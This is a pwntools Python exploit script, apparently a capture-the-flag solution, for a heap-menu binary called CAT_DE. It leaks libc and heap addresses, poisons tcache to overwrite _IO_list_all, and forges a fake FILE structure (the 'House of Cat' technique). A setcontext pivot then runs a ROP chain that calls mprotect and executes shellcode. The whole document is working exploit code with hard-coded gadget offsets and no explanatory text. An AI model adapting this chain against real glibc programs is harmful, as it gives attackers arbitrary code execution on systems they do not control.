1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155
| from pwn import *
context.arch = 'amd64' context.log_level = 'debug'
fn = './CAT_DE' elf = ELF(fn) libc = ELF('./libc.so.6')
debug = 1 if debug: p = process(fn) else: p = remote()
def dbg(s=''): if debug: gdb.attach(p, s) pause()
else: pass
lg = lambda x, y: log.success(f'{x}: {hex(y)}')
def menu(index): p.sendlineafter('>> ', str(index))
def add(size, content='a'): menu(1) p.sendlineafter('size:', str(size)) p.sendafter('content:', content)
def delete(index): menu(2) p.sendlineafter('idx:', str(index))
def show(index): menu(3) p.sendlineafter('idx:', str(index))
def edit(index, content): menu(4) p.sendlineafter('idx:', str(index)) p.sendafter('content:', content)
shellcode = asm(shellcraft.cat('flag'))
def house_of_cat(fake_IO_file_addr): payload = flat( { 0x20: [ 0, 0, 1, 1, fake_IO_file_addr+0x150, setcontext + 61 ], 0x58: 0, 0x78: _IO_stdfile_2_lock, 0x90: fake_IO_file_addr + 0x30, 0xb0: 1, 0xc8: _IO_wfile_jumps + 0x30, 0x100: fake_IO_file_addr + 0x40, 0x140: { 0xa0: [fake_IO_file_addr + 0x210, ret] }, 0x200: [ pop_rdi_ret, fake_IO_file_addr >> 12 << 12, pop_rsi_ret, 0x1000, pop_rdx_rbx_ret, 7, 0, pop_rax_ret, 10, syscall_ret, fake_IO_file_addr+0x300+0x10, ], 0x300: shellcode, }, filler='\x00' )
return payload
add(0x420) add(0x90)
delete(0) add(0x1000) add(0x420) show(2)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x21a000 lg('libc_base', libc_base)
p.recv(10)
heap_base = u64(p.recv(8)) - 0x290 lg('heap_base', heap_base)
key = (heap_base >> 12) + 1
_IO_list_all = libc_base + 0x21a680 setcontext = libc_base + libc.sym['setcontext'] _IO_stdfile_2_lock = libc_base + 0x21ba80 _IO_wfile_jumps = libc_base + 0x2160c0
pop_rdi_ret = libc_base + 0x000000000002a3e5 pop_rsi_ret = libc_base + 0x000000000002be51 pop_rdx_rbx_ret = libc_base + 0x0000000000090529 pop_rax_ret = libc_base + 0x0000000000045eb0 syscall_ret = libc_base + 0x0000000000091396 ret = pop_rdi_ret + 1
add(0x420) add(0xf8) add(0x4f8) add(0xf8)
fake_chunk = heap_base + 0x1800 fake_size = 0x4a0
payload = flat( { 0x80: [0, fake_size, fake_chunk, fake_chunk], }, filler='\x00' ) edit(3, payload)
edit(4, flat({0xf0: fake_size}))
delete(5)
delete(6) delete(4)
add(0x400)
edit(4, flat({0x390: [0, 0x101, key ^ _IO_list_all]}))
add(0xf0) add(0xf0, p64(fake_chunk))
payload = house_of_cat(fake_chunk) edit(4, payload)
menu(5)
p.interactive()
|